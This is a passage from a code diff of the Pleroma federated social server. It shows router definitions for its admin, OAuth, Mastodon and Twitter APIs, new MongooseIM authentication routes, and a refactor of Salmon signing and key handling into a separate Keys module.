	get("/users/:nickname/permission_group/:permission_group", AdminAPIController, :right_get)
	post("/users/:nickname/permission_group/:permission_group", AdminAPIController, :right_add)

	delete(
	"/users/:nickname/permission_group/:permission_group",
	AdminAPIController,
	:right_delete
	)

	put("/users/:nickname/activation_status", AdminAPIController, :set_activation_status)

	post("/relay", AdminAPIController, :relay_follow)
	delete("/relay", AdminAPIController, :relay_unfollow)

	get("/users/invite_token", AdminAPIController, :get_invite_token)
	get("/users/invites", AdminAPIController, :invites)
	post("/users/revoke_invite", AdminAPIController, :revoke_invite)
	post("/users/email_invite", AdminAPIController, :email_invite)

	# TODO: to be removed at version 1.0
	get("/password_reset", AdminAPIController, :get_password_reset)

	get("/users/:nickname/password_reset", AdminAPIController, :get_password_reset)

	get("/users", AdminAPIController, :list_users)
	get("/users/:nickname", AdminAPIController, :user_show)

	get("/reports", AdminAPIController, :list_reports)
	get("/reports/:id", AdminAPIController, :report_show)
	put("/reports/:id", AdminAPIController, :report_update_state)
	post("/reports/:id/respond", AdminAPIController, :report_respond)

	put("/statuses/:id", AdminAPIController, :status_update)
	delete("/statuses/:id", AdminAPIController, :status_delete)
	end

	scope "/", Pleroma.Web.TwitterAPI do
	pipe_through(:pleroma_html)

	post("/main/ostatus", UtilController, :remote_subscribe)
	get("/ostatus_subscribe", UtilController, :remote_follow)

	scope [] do
	pipe_through(:oauth_follow)
	post("/ostatus_subscribe", UtilController, :do_remote_follow)
	end
	end

	scope "/api/pleroma", Pleroma.Web.TwitterAPI do
	pipe_through(:authenticated_api)

	scope [] do
	pipe_through(:oauth_write)

	post("/change_password", UtilController, :change_password)
	post("/delete_account", UtilController, :delete_account)
	put("/notification_settings", UtilController, :update_notificaton_settings)
	post("/disable_account", UtilController, :disable_account)
	end

	scope [] do
	pipe_through(:oauth_follow)

	post("/blocks_import", UtilController, :blocks_import)
	post("/follow_import", UtilController, :follow_import)
	end

	scope [] do
	pipe_through(:oauth_read)

	post("/notifications/read", UtilController, :notifications_read)
	end
	end

	scope "/oauth", Pleroma.Web.OAuth do
	scope [] do
	pipe_through(:oauth)
	get("/authorize", OAuthController, :authorize)
	end

	post("/authorize", OAuthController, :create_authorization)
	post("/token", OAuthController, :token_exchange)
	post("/revoke", OAuthController, :token_revoke)
	get("/registration_details", OAuthController, :registration_details)

	scope [] do
	pipe_through(:browser)

	get("/prepare_request", OAuthController, :prepare_request)
	get("/:provider", OAuthController, :request)
	get("/:provider/callback", OAuthController, :callback)
	post("/register", OAuthController, :register)
	end
	end

	scope "/api/v1", Pleroma.Web.MastodonAPI do
	pipe_through(:authenticated_api)

	scope [] do
	pipe_through(:oauth_read)

	get("/accounts/verify_credentials", MastodonAPIController, :verify_credentials)

	get("/accounts/relationships", MastodonAPIController, :relationships)

	get("/accounts/:id/lists", MastodonAPIController, :account_lists)
	get("/accounts/:id/identity_proofs", MastodonAPIController, :empty_array)

	get("/follow_requests", MastodonAPIController, :follow_requests)
	get("/blocks", MastodonAPIController, :blocks)
	get("/mutes", MastodonAPIController, :mutes)

	get("/timelines/home", MastodonAPIController, :home_timeline)
	get("/timelines/direct", MastodonAPIController, :dm_timeline)

	get("/favourites", MastodonAPIController, :favourites)
	get("/bookmarks", MastodonAPIController, :bookmarks)

	post("/notifications/clear", MastodonAPIController, :clear_notifications)
	post("/notifications/dismiss", MastodonAPIController, :dismiss_notification)
	get("/notifications", MastodonAPIController, :notifications)
	get("/notifications/:id", MastodonAPIController, :get_notification)
	delete("/notifications/destroy_multiple", MastodonAPIController, :destroy_multiple)

	get("/scheduled_statuses", MastodonAPIController, :scheduled_statuses)
	get("/scheduled_statuses/:id", MastodonAPIController, :show_scheduled_status)

	get("/lists", MastodonAPIController, :get_lists)
	get("/lists/:id", MastodonAPIController, :get_list)
	get("/lists/:id/accounts", MastodonAPIController, :list_accounts)

	get("/domain_blocks", MastodonAPIController, :domain_blocks)

	get("/filters", MastodonAPIController, :get_filters)

	get("/suggestions", MastodonAPIController, :suggestions)

	get("/conversations", MastodonAPIController, :conversations)
	post("/conversations/:id/read", MastodonAPIController, :conversation_read)

	get("/endorsements", MastodonAPIController, :empty_array)

	get("/pleroma/flavour", MastodonAPIController, :get_flavour)
	end

	scope [] do
	pipe_through(:oauth_write)

	patch("/accounts/update_credentials", MastodonAPIController, :update_credentials)

	post("/statuses", MastodonAPIController, :post_status)
	delete("/statuses/:id", MastodonAPIController, :delete_status)

	post("/statuses/:id/reblog", MastodonAPIController, :reblog_status)
	post("/statuses/:id/unreblog", MastodonAPIController, :unreblog_status)
	post("/statuses/:id/favourite", MastodonAPIController, :fav_status)
	post("/statuses/:id/unfavourite", MastodonAPIController, :unfav_status)
	post("/statuses/:id/pin", MastodonAPIController, :pin_status)
	post("/statuses/:id/unpin", MastodonAPIController, :unpin_status)
	post("/statuses/:id/bookmark", MastodonAPIController, :bookmark_status)
	post("/statuses/:id/unbookmark", MastodonAPIController, :unbookmark_status)
	post("/statuses/:id/mute", MastodonAPIController, :mute_conversation)
	post("/statuses/:id/unmute", MastodonAPIController, :unmute_conversation)

	put("/scheduled_statuses/:id", MastodonAPIController, :update_scheduled_status)
	delete("/scheduled_statuses/:id", MastodonAPIController, :delete_scheduled_status)

	post("/media", MastodonAPIController, :upload)
	put("/media/:id", MastodonAPIController, :update_media)

	delete("/lists/:id", MastodonAPIController, :delete_list)
	post("/lists", MastodonAPIController, :create_list)
	put("/lists/:id", MastodonAPIController, :rename_list)

	post("/lists/:id/accounts", MastodonAPIController, :add_to_list)
	delete("/lists/:id/accounts", MastodonAPIController, :remove_from_list)

	post("/filters", MastodonAPIController, :create_filter)
	get("/filters/:id", MastodonAPIController, :get_filter)
	put("/filters/:id", MastodonAPIController, :update_filter)
	delete("/filters/:id", MastodonAPIController, :delete_filter)

	post("/pleroma/flavour/:flavour", MastodonAPIController, :set_flavour)

	get("/pleroma/mascot", MastodonAPIController, :get_mascot)
	put("/pleroma/mascot", MastodonAPIController, :set_mascot)

	post("/reports", MastodonAPIController, :reports)
	end

	scope [] do
	pipe_through(:oauth_follow)

	post("/follows", MastodonAPIController, :follow)
	post("/accounts/:id/follow", MastodonAPIController, :follow)

	post("/accounts/:id/unfollow", MastodonAPIController, :unfollow)
	post("/accounts/:id/block", MastodonAPIController, :block)
	post("/accounts/:id/unblock", MastodonAPIController, :unblock)
	post("/accounts/:id/mute", MastodonAPIController, :mute)
	post("/accounts/:id/unmute", MastodonAPIController, :unmute)

	post("/follow_requests/:id/authorize", MastodonAPIController, :authorize_follow_request)
	post("/follow_requests/:id/reject", MastodonAPIController, :reject_follow_request)

	post("/domain_blocks", MastodonAPIController, :block_domain)
	delete("/domain_blocks", MastodonAPIController, :unblock_domain)

	post("/pleroma/accounts/:id/subscribe", MastodonAPIController, :subscribe)
	post("/pleroma/accounts/:id/unsubscribe", MastodonAPIController, :unsubscribe)
	end

	scope [] do
	pipe_through(:oauth_push)

	post("/push/subscription", SubscriptionController, :create)
	get("/push/subscription", SubscriptionController, :get)
	put("/push/subscription", SubscriptionController, :update)
	delete("/push/subscription", SubscriptionController, :delete)
	end
	end

	scope "/api/web", Pleroma.Web.MastodonAPI do
	pipe_through([:authenticated_api, :oauth_write])

	put("/settings", MastodonAPIController, :put_settings)
	end

	scope "/api/v1", Pleroma.Web.MastodonAPI do
	pipe_through(:api)

	post("/accounts", MastodonAPIController, :account_register)

	get("/instance", MastodonAPIController, :masto_instance)
	get("/instance/peers", MastodonAPIController, :peers)
	post("/apps", MastodonAPIController, :create_app)
	get("/apps/verify_credentials", MastodonAPIController, :verify_app_credentials)
	get("/custom_emojis", MastodonAPIController, :custom_emojis)

	get("/statuses/:id/card", MastodonAPIController, :status_card)

	get("/statuses/:id/favourited_by", MastodonAPIController, :favourited_by)
	get("/statuses/:id/reblogged_by", MastodonAPIController, :reblogged_by)

	get("/trends", MastodonAPIController, :empty_array)

	get("/accounts/search", MastodonAPIController, :account_search)

	scope [] do
	pipe_through(:oauth_read_or_public)

	get("/timelines/public", MastodonAPIController, :public_timeline)
	get("/timelines/tag/:tag", MastodonAPIController, :hashtag_timeline)
	get("/timelines/list/:list_id", MastodonAPIController, :list_timeline)

	get("/statuses/:id", MastodonAPIController, :get_status)
	get("/statuses/:id/context", MastodonAPIController, :get_context)

	get("/accounts/:id/statuses", MastodonAPIController, :user_statuses)
	get("/accounts/:id/followers", MastodonAPIController, :followers)
	get("/accounts/:id/following", MastodonAPIController, :following)
	get("/accounts/:id", MastodonAPIController, :user)

	get("/search", MastodonAPIController, :search)

	get("/pleroma/accounts/:id/favourites", MastodonAPIController, :user_favourites)
	end
	end

	scope "/api/v2", Pleroma.Web.MastodonAPI do
	pipe_through([:api, :oauth_read_or_public])
	get("/search", MastodonAPIController, :search2)
	end

	scope "/api", Pleroma.Web do
	pipe_through(:config)

	get("/help/test", TwitterAPI.UtilController, :help_test)
	post("/help/test", TwitterAPI.UtilController, :help_test)
	get("/statusnet/config", TwitterAPI.UtilController, :config)
	get("/statusnet/version", TwitterAPI.UtilController, :version)
	get("/pleroma/frontend_configurations", TwitterAPI.UtilController, :frontend_configurations)
	end

	scope "/api", Pleroma.Web do
	pipe_through(:api)

	post("/account/register", TwitterAPI.Controller, :register)
	post("/account/password_reset", TwitterAPI.Controller, :password_reset)

	post("/account/resend_confirmation_email", TwitterAPI.Controller, :resend_confirmation_email)

	get(
	"/account/confirm_email/:user_id/:token",
	TwitterAPI.Controller,
	:confirm_email,
	as: :confirm_email
	)

	scope [] do
	pipe_through(:oauth_read_or_public)

	get("/statuses/user_timeline", TwitterAPI.Controller, :user_timeline)
	get("/qvitter/statuses/user_timeline", TwitterAPI.Controller, :user_timeline)
	get("/users/show", TwitterAPI.Controller, :show_user)

	get("/statuses/followers", TwitterAPI.Controller, :followers)
	get("/statuses/friends", TwitterAPI.Controller, :friends)
	get("/statuses/blocks", TwitterAPI.Controller, :blocks)
	get("/statuses/show/:id", TwitterAPI.Controller, :fetch_status)
	get("/statusnet/conversation/:id", TwitterAPI.Controller, :fetch_conversation)

	get("/search", TwitterAPI.Controller, :search)
	get("/statusnet/tags/timeline/:tag", TwitterAPI.Controller, :public_and_external_timeline)
	end
	end

	scope "/api", Pleroma.Web do
	pipe_through([:api, :oauth_read_or_public])

	get("/statuses/public_timeline", TwitterAPI.Controller, :public_timeline)

	get(
	"/statuses/public_and_external_timeline",
	TwitterAPI.Controller,
	:public_and_external_timeline
	)

	get("/statuses/networkpublic_timeline", TwitterAPI.Controller, :public_and_external_timeline)
	end

	scope "/api", Pleroma.Web, as: :twitter_api_search do
	pipe_through([:api, :oauth_read_or_public])
	get("/pleroma/search_user", TwitterAPI.Controller, :search_user)
	end

	scope "/api", Pleroma.Web, as: :authenticated_twitter_api do
	pipe_through(:authenticated_api)

	get("/oauth_tokens", TwitterAPI.Controller, :oauth_tokens)
	delete("/oauth_tokens/:id", TwitterAPI.Controller, :revoke_token)

	scope [] do
	pipe_through(:oauth_read)

	get("/account/verify_credentials", TwitterAPI.Controller, :verify_credentials)
	post("/account/verify_credentials", TwitterAPI.Controller, :verify_credentials)

	get("/statuses/home_timeline", TwitterAPI.Controller, :friends_timeline)
	get("/statuses/friends_timeline", TwitterAPI.Controller, :friends_timeline)
	get("/statuses/mentions", TwitterAPI.Controller, :mentions_timeline)
	get("/statuses/mentions_timeline", TwitterAPI.Controller, :mentions_timeline)
	get("/statuses/dm_timeline", TwitterAPI.Controller, :dm_timeline)
	get("/qvitter/statuses/notifications", TwitterAPI.Controller, :notifications)

	get("/pleroma/friend_requests", TwitterAPI.Controller, :friend_requests)

	get("/friends/ids", TwitterAPI.Controller, :friends_ids)
	get("/friendships/no_retweets/ids", TwitterAPI.Controller, :empty_array)

	get("/mutes/users/ids", TwitterAPI.Controller, :empty_array)
	get("/qvitter/mutes", TwitterAPI.Controller, :raw_empty_array)

	get("/externalprofile/show", TwitterAPI.Controller, :external_profile)

	post("/qvitter/statuses/notifications/read", TwitterAPI.Controller, :notifications_read)
	end

	scope [] do
	pipe_through(:oauth_write)

	post("/account/update_profile", TwitterAPI.Controller, :update_profile)
	post("/account/update_profile_banner", TwitterAPI.Controller, :update_banner)
	post("/qvitter/update_background_image", TwitterAPI.Controller, :update_background)

	post("/statuses/update", TwitterAPI.Controller, :status_update)
	post("/statuses/retweet/:id", TwitterAPI.Controller, :retweet)
	post("/statuses/unretweet/:id", TwitterAPI.Controller, :unretweet)
	post("/statuses/destroy/:id", TwitterAPI.Controller, :delete_post)

	post("/statuses/pin/:id", TwitterAPI.Controller, :pin)
	post("/statuses/unpin/:id", TwitterAPI.Controller, :unpin)

	post("/statusnet/media/upload", TwitterAPI.Controller, :upload)
	post("/media/upload", TwitterAPI.Controller, :upload_json)
	post("/media/metadata/create", TwitterAPI.Controller, :update_media)

	post("/favorites/create/:id", TwitterAPI.Controller, :favorite)
	post("/favorites/create", TwitterAPI.Controller, :favorite)
	post("/favorites/destroy/:id", TwitterAPI.Controller, :unfavorite)

	post("/qvitter/update_avatar", TwitterAPI.Controller, :update_avatar)
	end

	scope [] do
	pipe_through(:oauth_follow)

	post("/pleroma/friendships/approve", TwitterAPI.Controller, :approve_friend_request)
	post("/pleroma/friendships/deny", TwitterAPI.Controller, :deny_friend_request)

	post("/friendships/create", TwitterAPI.Controller, :follow)
	post("/friendships/destroy", TwitterAPI.Controller, :unfollow)

	post("/blocks/create", TwitterAPI.Controller, :block)
	post("/blocks/destroy", TwitterAPI.Controller, :unblock)
	end
	end

	pipeline :ap_relay do
	plug(:accepts, ["activity+json", "json"])
	end

	pipeline :ostatus do
	plug(:accepts, ["html", "xml", "atom", "activity+json", "json"])
	end

	pipeline :oembed do
	plug(:accepts, ["json", "xml"])
	end

	scope "/", Pleroma.Web do
	pipe_through(:ostatus)

	get("/objects/:uuid", OStatus.OStatusController, :object)
	get("/activities/:uuid", OStatus.OStatusController, :activity)
	get("/notice/:id", OStatus.OStatusController, :notice)
	get("/notice/:id/embed_player", OStatus.OStatusController, :notice_player)
	get("/users/:nickname/feed", OStatus.OStatusController, :feed)
	get("/users/:nickname", OStatus.OStatusController, :feed_redirect)

	post("/users/:nickname/salmon", OStatus.OStatusController, :salmon_incoming)
	post("/push/hub/:nickname", Websub.WebsubController, :websub_subscription_request)
	get("/push/subscriptions/:id", Websub.WebsubController, :websub_subscription_confirmation)
	post("/push/subscriptions/:id", Websub.WebsubController, :websub_incoming)
	end

	scope "/", Pleroma.Web do
	pipe_through(:oembed)

	get("/oembed", OEmbed.OEmbedController, :url)
	end

	pipeline :activitypub do
	plug(:accepts, ["activity+json", "json"])
	plug(Pleroma.Web.Plugs.HTTPSignaturePlug)
	end

	scope "/", Pleroma.Web.ActivityPub do
	# XXX: not really ostatus
	pipe_through(:ostatus)

	get("/users/:nickname/followers", ActivityPubController, :followers)
	get("/users/:nickname/following", ActivityPubController, :following)
	get("/users/:nickname/outbox", ActivityPubController, :outbox)
	get("/objects/:uuid/likes", ActivityPubController, :object_likes)
	end

	pipeline :activitypub_client do
	plug(:accepts, ["activity+json", "json"])
	plug(:fetch_session)
	plug(Pleroma.Plugs.OAuthPlug)
	plug(Pleroma.Plugs.BasicAuthDecoderPlug)
	plug(Pleroma.Plugs.UserFetcherPlug)
	plug(Pleroma.Plugs.SessionAuthenticationPlug)
	plug(Pleroma.Plugs.LegacyAuthenticationPlug)
	plug(Pleroma.Plugs.AuthenticationPlug)
	plug(Pleroma.Plugs.UserEnabledPlug)
	plug(Pleroma.Plugs.SetUserSessionIdPlug)
	plug(Pleroma.Plugs.EnsureUserKeyPlug)
	end

	scope "/", Pleroma.Web.ActivityPub do
	pipe_through([:activitypub_client])

	scope [] do
	pipe_through(:oauth_read)
	get("/api/ap/whoami", ActivityPubController, :whoami)
	get("/users/:nickname/inbox", ActivityPubController, :read_inbox)
	end

	scope [] do
	pipe_through(:oauth_write)
	post("/users/:nickname/outbox", ActivityPubController, :update_outbox)
	end
	end

	scope "/relay", Pleroma.Web.ActivityPub do
	pipe_through(:ap_relay)
	get("/", ActivityPubController, :relay)
	end

	scope "/", Pleroma.Web.ActivityPub do
	pipe_through(:activitypub)
	post("/inbox", ActivityPubController, :inbox)
	post("/users/:nickname/inbox", ActivityPubController, :inbox)
	end

	scope "/.well-known", Pleroma.Web do
	pipe_through(:well_known)

	get("/host-meta", WebFinger.WebFingerController, :host_meta)
	get("/webfinger", WebFinger.WebFingerController, :webfinger)
	get("/nodeinfo", Nodeinfo.NodeinfoController, :schemas)
	end

	scope "/nodeinfo", Pleroma.Web do
	get("/:version", Nodeinfo.NodeinfoController, :nodeinfo)
	end

	scope "/", Pleroma.Web.MastodonAPI do
	pipe_through(:mastodon_html)

	get("/web/login", MastodonAPIController, :login)
	delete("/auth/sign_out", MastodonAPIController, :logout)

	scope [] do
	pipe_through(:oauth_read_or_public)
	get("/web/*path", MastodonAPIController, :index)
	end
	end

	pipeline :remote_media do
	end

	scope "/proxy/", Pleroma.Web.MediaProxy do
	pipe_through(:remote_media)

	get("/:sig/:url", MediaProxyController, :remote)
	get("/:sig/:url/:filename", MediaProxyController, :remote)
	end

	if Mix.env() == :dev do
	scope "/dev" do
	pipe_through([:mailbox_preview])

	forward("/mailbox", Plug.Swoosh.MailboxPreview, base_path: "/dev/mailbox")
	end
	end

	+ scope "/", Pleroma.Web.MongooseIM do
	+ get("/user_exists", MongooseIMController, :user_exists)
	+ get("/check_password", MongooseIMController, :check_password)
	+ end
	+
	scope "/", Fallback do
	get("/registration/:token", RedirectController, :registration_page)
	get("/:maybe_nickname_or_id", RedirectController, :redirector_with_meta)
	+ get("/api*path", RedirectController, :api_not_implemented)
	get("/*path", RedirectController, :redirector)

	options("/*path", RedirectController, :empty)
	end
	end

	defmodule Fallback.RedirectController do
	use Pleroma.Web, :controller
	alias Pleroma.User
	alias Pleroma.Web.Metadata

	+ def api_not_implemented(conn, _params) do
	+ conn
	+ \|> put_status(404)
	+ \|> json(%{error: "Not implemented"})
	+ end
	+
	def redirector(conn, _params, code \\ 200) do
	conn
	\|> put_resp_content_type("text/html")
	\|> send_file(code, index_file_path())
	end

	def redirector_with_meta(conn, %{"maybe_nickname_or_id" => maybe_nickname_or_id} = params) do
	with %User{} = user <- User.get_cached_by_nickname_or_id(maybe_nickname_or_id) do
	redirector_with_meta(conn, %{user: user})
	else
	nil ->
	redirector(conn, params)
	end
	end

	def redirector_with_meta(conn, params) do
	{:ok, index_content} = File.read(index_file_path())
	tags = Metadata.build_tags(params)
	response = String.replace(index_content, "<!--server-generated-meta-->", tags)

	conn
	\|> put_resp_content_type("text/html")
	\|> send_resp(200, response)
	end

	def index_file_path do
	Pleroma.Plugs.InstanceStatic.file_path("index.html")
	end

	def registration_page(conn, params) do
	redirector(conn, params)
	end

	def empty(conn, _params) do
	conn
	\|> put_status(204)
	\|> text("")
	end
	end
	diff --git a/lib/pleroma/web/salmon/salmon.ex b/lib/pleroma/web/salmon/salmon.ex
	index 42709ab47..9e91a5a40 100644
	--- a/lib/pleroma/web/salmon/salmon.ex
	+++ b/lib/pleroma/web/salmon/salmon.ex
	@@ -1,269 +1,230 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Salmon do
	@behaviour Pleroma.Web.Federator.Publisher

	- @httpoison Application.get_env(:pleroma, :httpoison)
	-
	use Bitwise

	alias Pleroma.Activity
	+ alias Pleroma.HTTP
	alias Pleroma.Instances
	+ alias Pleroma.Keys
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.Visibility
	alias Pleroma.Web.Federator.Publisher
	alias Pleroma.Web.OStatus
	alias Pleroma.Web.OStatus.ActivityRepresenter
	alias Pleroma.Web.XML

	require Logger

	def decode(salmon) do
	doc = XML.parse_document(salmon)

	{:xmlObj, :string, data} = :xmerl_xpath.string('string(//me:data[1])', doc)
	{:xmlObj, :string, sig} = :xmerl_xpath.string('string(//me:sig[1])', doc)
	{:xmlObj, :string, alg} = :xmerl_xpath.string('string(//me:alg[1])', doc)
	{:xmlObj, :string, encoding} = :xmerl_xpath.string('string(//me:encoding[1])', doc)
	{:xmlObj, :string, type} = :xmerl_xpath.string('string(//me:data[1]/@type)', doc)

	{:ok, data} = Base.url_decode64(to_string(data), ignore: :whitespace)
	{:ok, sig} = Base.url_decode64(to_string(sig), ignore: :whitespace)
	alg = to_string(alg)
	encoding = to_string(encoding)
	type = to_string(type)

	[data, type, encoding, alg, sig]
	end

	def fetch_magic_key(salmon) do
	with [data, _, _, _, _] <- decode(salmon),
	doc <- XML.parse_document(data),
	uri when not is_nil(uri) <- XML.string_from_xpath("/entry/author[1]/uri", doc),
	{:ok, public_key} <- User.get_public_key_for_ap_id(uri),
	magic_key <- encode_key(public_key) do
	{:ok, magic_key}
	end
	end

	def decode_and_validate(magickey, salmon) do
	[data, type, encoding, alg, sig] = decode(salmon)

	signed_text =
	[data, type, encoding, alg]
	\|> Enum.map(&Base.url_encode64/1)
	\|> Enum.join(".")

	key = decode_key(magickey)

	verify = :public_key.verify(signed_text, :sha256, sig, key)

	if verify do
	{:ok, data}
	else
	:error
	end
	end

	def decode_key("RSA." <> magickey) do
	make_integer = fn bin ->
	list = :erlang.binary_to_list(bin)
	Enum.reduce(list, 0, fn el, acc -> acc <<< 8 \|\|\| el end)
	end

	[modulus, exponent] =
	magickey
	\|> String.split(".")
	\|> Enum.map(fn n -> Base.url_decode64!(n, padding: false) end)
	\|> Enum.map(make_integer)

	{:RSAPublicKey, modulus, exponent}
	end

	def encode_key({:RSAPublicKey, modulus, exponent}) do
	modulus_enc = :binary.encode_unsigned(modulus) \|> Base.url_encode64()
	exponent_enc = :binary.encode_unsigned(exponent) \|> Base.url_encode64()

	"RSA.#{modulus_enc}.#{exponent_enc}"
	end

	- # Native generation of RSA keys is only available since OTP 20+ and in default build conditions
	- # We try at compile time to generate natively an RSA key otherwise we fallback on the old way.
	- try do
	- _ = :public_key.generate_key({:rsa, 2048, 65_537})
	-
	- def generate_rsa_pem do
	- key = :public_key.generate_key({:rsa, 2048, 65_537})
	- entry = :public_key.pem_entry_encode(:RSAPrivateKey, key)
	- pem = :public_key.pem_encode([entry]) \|> String.trim_trailing()
	- {:ok, pem}
	- end
	- rescue
	- _ ->
	- def generate_rsa_pem do
	- port = Port.open({:spawn, "openssl genrsa"}, [:binary])
	-
	- {:ok, pem} =
	- receive do
	- {^port, {:data, pem}} -> {:ok, pem}
	- end
	-
	- Port.close(port)
	-
	- if Regex.match?(~r/RSA PRIVATE KEY/, pem) do
	- {:ok, pem}
	- else
	- :error
	- end
	- end
	- end
	-
	- def keys_from_pem(pem) do
	- [private_key_code] = :public_key.pem_decode(pem)
	- private_key = :public_key.pem_entry_decode(private_key_code)
	- {:RSAPrivateKey, _, modulus, exponent, _, _, _, _, _, _, _} = private_key
	- public_key = {:RSAPublicKey, modulus, exponent}
	- {:ok, private_key, public_key}
	- end
	-
	def encode(private_key, doc) do
	type = "application/atom+xml"
	encoding = "base64url"
	alg = "RSA-SHA256"

	signed_text =
	[doc, type, encoding, alg]
	\|> Enum.map(&Base.url_encode64/1)
	\|> Enum.join(".")

	signature =
	signed_text
	\|> :public_key.sign(:sha256, private_key)
	\|> to_string
	\|> Base.url_encode64()

	doc_base64 =
	doc
	\|> Base.url_encode64()

	# Don't need proper xml building, these strings are safe to leave unescaped
	salmon = """
	<?xml version="1.0" encoding="UTF-8"?>
	<me:env xmlns:me="http://salmon-protocol.org/ns/magic-env">
	<me:data type="application/atom+xml">#{doc_base64}</me:data>
	<me:encoding>#{encoding}</me:encoding>
	<me:alg>#{alg}</me:alg>
	<me:sig>#{signature}</me:sig>
	</me:env>
	"""

	{:ok, salmon}
	end

	def remote_users(%{data: %{"to" => to} = data}) do
	to = to ++ (data["cc"] \|\| [])

	to
	\|> Enum.map(fn id -> User.get_cached_by_ap_id(id) end)
	\|> Enum.filter(fn user -> user && !user.local end)
	end

	@doc "Pushes an activity to remote account."
	def publish_one(%{recipient: %{info: %{salmon: salmon}}} = params),
	do: publish_one(Map.put(params, :recipient, salmon))

	def publish_one(%{recipient: url, feed: feed} = params) when is_binary(url) do
	with {:ok, %{status: code}} when code in 200..299 <-
	- @httpoison.post(
	+ HTTP.post(
	url,
	feed,
	[{"Content-Type", "application/magic-envelope+xml"}]
	) do
	if !Map.has_key?(params, :unreachable_since) \|\| params[:unreachable_since],
	do: Instances.set_reachable(url)

	Logger.debug(fn -> "Pushed to #{url}, code #{code}" end)
	:ok
	else
	e ->
	unless params[:unreachable_since], do: Instances.set_reachable(url)
	Logger.debug(fn -> "Pushing Salmon to #{url} failed, #{inspect(e)}" end)
	{:error, "Unreachable instance"}
	end
	end

	def publish_one(_), do: :noop

	@supported_activities [
	"Create",
	"Follow",
	"Like",
	"Announce",
	"Undo",
	"Delete"
	]

	def is_representable?(%Activity{data: %{"type" => type}} = activity)
	when type in @supported_activities,
	do: Visibility.is_public?(activity)

	def is_representable?(_), do: false

	@doc """
	Publishes an activity to remote accounts
	"""
	@spec publish(User.t(), Pleroma.Activity.t()) :: none
	def publish(user, activity)

	def publish(%{info: %{keys: keys}} = user, %{data: %{"type" => type}} = activity)
	when type in @supported_activities do
	feed = ActivityRepresenter.to_simple_form(activity, user, true)

	if feed do
	feed =
	ActivityRepresenter.wrap_with_entry(feed)
	\|> :xmerl.export_simple(:xmerl_xml)
	\|> to_string

	- {:ok, private, _} = keys_from_pem(keys)
	+ {:ok, private, _} = Keys.keys_from_pem(keys)
	{:ok, feed} = encode(private, feed)

	remote_users = remote_users(activity)

	salmon_urls = Enum.map(remote_users, & &1.info.salmon)
	reachable_urls_metadata = Instances.filter_reachable(salmon_urls)
	reachable_urls = Map.keys(reachable_urls_metadata)

	remote_users
	\|> Enum.filter(&(&1.info.salmon in reachable_urls))
	\|> Enum.each(fn remote_user ->
	Logger.debug(fn -> "Sending Salmon to #{remote_user.ap_id}" end)

	Publisher.enqueue_one(__MODULE__, %{
	recipient: remote_user,
	feed: feed,
	unreachable_since: reachable_urls_metadata[remote_user.info.salmon]
	})
	end)
	end
	end

	def publish(%{id: id}, _), do: Logger.debug(fn -> "Keys missing for user #{id}" end)

	def gather_webfinger_links(%User{} = user) do
	- {:ok, _private, public} = keys_from_pem(user.info.keys)
	+ {:ok, _private, public} = Keys.keys_from_pem(user.info.keys)
	magic_key = encode_key(public)

	[
	%{"rel" => "salmon", "href" => OStatus.salmon_path(user)},
	%{
	"rel" => "magic-public-key",
	"href" => "data:application/magic-public-key,#{magic_key}"
	}
	]
	end

	def gather_nodeinfo_protocol_names, do: []
	end
	diff --git a/lib/pleroma/web/twitter_api/views/activity_view.ex b/lib/pleroma/web/twitter_api/views/activity_view.ex
	index 44bcafe0e..e84af84dc 100644
	--- a/lib/pleroma/web/twitter_api/views/activity_view.ex
	+++ b/lib/pleroma/web/twitter_api/views/activity_view.ex
	@@ -1,359 +1,365 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.TwitterAPI.ActivityView do
	use Pleroma.Web, :view
	alias Pleroma.Activity
	alias Pleroma.Formatter
	alias Pleroma.HTML
	alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.CommonAPI.Utils
	alias Pleroma.Web.MastodonAPI.StatusView
	alias Pleroma.Web.TwitterAPI.ActivityView
	alias Pleroma.Web.TwitterAPI.Representers.ObjectRepresenter
	alias Pleroma.Web.TwitterAPI.UserView

	import Ecto.Query
	require Logger

	defp query_context_ids([]), do: []

	defp query_context_ids(contexts) do
	query = from(o in Object, where: fragment("(?)->>'id' = ANY(?)", o.data, ^contexts))

	Repo.all(query)
	end

	defp query_users([]), do: []

	defp query_users(user_ids) do
	query = from(user in User, where: user.ap_id in ^user_ids)

	Repo.all(query)
	end

	defp collect_context_ids(activities) do
	_contexts =
	activities
	\|> Enum.reject(& &1.data["context_id"])
	\|> Enum.map(fn %{data: data} ->
	data["context"]
	end)
	\|> Enum.filter(& &1)
	\|> query_context_ids()
	\|> Enum.reduce(%{}, fn %{data: %{"id" => ap_id}, id: id}, acc ->
	Map.put(acc, ap_id, id)
	end)
	end

	defp collect_users(activities) do
	activities
	\|> Enum.map(fn activity ->
	case activity.data do
	data = %{"type" => "Follow"} ->
	[data["actor"], data["object"]]

	data ->
	[data["actor"]]
	end ++ activity.recipients
	end)
	\|> List.flatten()
	\|> Enum.uniq()
	\|> query_users()
	\|> Enum.reduce(%{}, fn user, acc ->
	Map.put(acc, user.ap_id, user)
	end)
	end

	defp get_context_id(%{data: %{"context_id" => context_id}}, _) when not is_nil(context_id),
	do: context_id

	defp get_context_id(%{data: %{"context" => nil}}, _), do: nil

	defp get_context_id(%{data: %{"context" => context}}, options) do
	cond do
	id = options[:context_ids][context] -> id
	true -> Utils.context_to_conversation_id(context)
	end
	end

	defp get_context_id(_, _), do: nil

	defp get_user(ap_id, opts) do
	cond do
	user = opts[:users][ap_id] ->
	user

	String.ends_with?(ap_id, "/followers") ->
	nil

	ap_id == "https://www.w3.org/ns/activitystreams#Public" ->
	nil

	user = User.get_cached_by_ap_id(ap_id) ->
	user

	user = User.get_by_guessed_nickname(ap_id) ->
	user

	true ->
	User.error_user(ap_id)
	end
	end

	def render("index.json", opts) do
	context_ids = collect_context_ids(opts.activities)
	users = collect_users(opts.activities)

	opts =
	opts
	\|> Map.put(:context_ids, context_ids)
	\|> Map.put(:users, users)

	safe_render_many(
	opts.activities,
	ActivityView,
	"activity.json",
	opts
	)
	end

